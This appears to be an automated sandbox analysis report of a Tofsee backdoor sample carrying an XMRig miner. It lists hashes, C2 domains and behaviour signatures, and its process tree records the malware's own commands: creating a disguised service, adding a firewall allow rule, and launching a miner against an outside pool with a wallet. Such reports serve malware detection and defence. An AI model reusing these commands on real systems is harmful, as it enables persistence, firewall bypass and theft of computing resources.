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Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    31/08/2023, 20:08

General

  • Target

    file.exe

  • Size

    206KB

  • MD5

    0f9c373964288e253936c6fca66e7c3d

  • SHA1

    89cd1ecf9d256f4ad608ae27ae59d86960078850

  • SHA256

    043f6d52d44dc42b0da11af5b87c27bbaada4c88bacda864f644fbf1731f5404

  • SHA512

    1f534cbb70ac2f95d1170c7c55f0bf2af3244de80ac7d47d395b4b8516fe39a780af06fea9f4f9530c0641b3111ca30d42fcee589687deff825db4a60714f236

  • SSDEEP

    3072:9KLxYvgRbgBeCiMGsIvTN7BW//30MYGOR0Ali8V9Z/8u:9i5RbaeCiVxFB2QN8Ot8

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2600
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lfnepdbb\
      2⤵
        PID:2200
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ybyrikeu.exe" C:\Windows\SysWOW64\lfnepdbb\
        2⤵
          PID:2644
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lfnepdbb binPath= "C:\Windows\SysWOW64\lfnepdbb\ybyrikeu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2892
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description lfnepdbb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2952
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start lfnepdbb
          2⤵
          • Launches sc.exe
          PID:1480
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2272
      • C:\Windows\SysWOW64\lfnepdbb\ybyrikeu.exe
        C:\Windows\SysWOW64\lfnepdbb\ybyrikeu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2940
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2292
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2152

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ybyrikeu.exe

        Filesize

        10.3MB

        MD5

        34bdd3e444e411073e816327a5d40bf4

        SHA1

        18a8737cc994a9ad20395f27cc609028af69f4bb

        SHA256

        05e2f1b3541e53ce31da059931203c3b6778d7bb83359c6cae84c95487150a26

        SHA512

        5c36c39c094b01ecf8e4bc2ee6a34475bfc6da40dae0ce5bd9f7d304985ba254110fea231df3a94d7c5dfc3f50f28456cab4698eb5826a399369a112eeb6e1bb

      • C:\Windows\SysWOW64\lfnepdbb\ybyrikeu.exe

        Filesize

        10.3MB

        MD5

        34bdd3e444e411073e816327a5d40bf4

        SHA1

        18a8737cc994a9ad20395f27cc609028af69f4bb

        SHA256

        05e2f1b3541e53ce31da059931203c3b6778d7bb83359c6cae84c95487150a26

        SHA512

        5c36c39c094b01ecf8e4bc2ee6a34475bfc6da40dae0ce5bd9f7d304985ba254110fea231df3a94d7c5dfc3f50f28456cab4698eb5826a399369a112eeb6e1bb

      • memory/2152-63-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2152-78-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2152-77-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2152-76-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2152-75-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2152-74-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2152-73-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2152-72-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2152-64-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2292-40-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-47-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-12-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2292-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2292-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2292-23-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2292-24-0x0000000001980000-0x0000000001B8F000-memory.dmp

        Filesize

        2.1MB

      • memory/2292-27-0x0000000001980000-0x0000000001B8F000-memory.dmp

        Filesize

        2.1MB

      • memory/2292-28-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/2292-31-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-34-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-35-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-36-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-37-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-39-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2292-42-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-43-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-45-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-46-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-48-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2292-44-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-41-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-38-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-49-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-54-0x00000000001C0000-0x00000000001C5000-memory.dmp

        Filesize

        20KB

      • memory/2292-55-0x00000000054F0000-0x00000000058FB000-memory.dmp

        Filesize

        4.0MB

      • memory/2292-51-0x00000000001C0000-0x00000000001C5000-memory.dmp

        Filesize

        20KB

      • memory/2292-50-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2292-58-0x00000000054F0000-0x00000000058FB000-memory.dmp

        Filesize

        4.0MB

      • memory/2292-59-0x0000000000260000-0x0000000000267000-memory.dmp

        Filesize

        28KB

      • memory/2292-15-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2600-11-0x0000000000400000-0x0000000001399000-memory.dmp

        Filesize

        15.6MB

      • memory/2600-1-0x0000000001480000-0x0000000001580000-memory.dmp

        Filesize

        1024KB

      • memory/2600-4-0x0000000000400000-0x0000000001399000-memory.dmp

        Filesize

        15.6MB

      • memory/2600-2-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2940-18-0x0000000000400000-0x0000000001399000-memory.dmp

        Filesize

        15.6MB

      • memory/2940-10-0x0000000000400000-0x0000000001399000-memory.dmp

        Filesize

        15.6MB

      • memory/2940-9-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2940-8-0x0000000001560000-0x0000000001660000-memory.dmp

        Filesize

        1024KB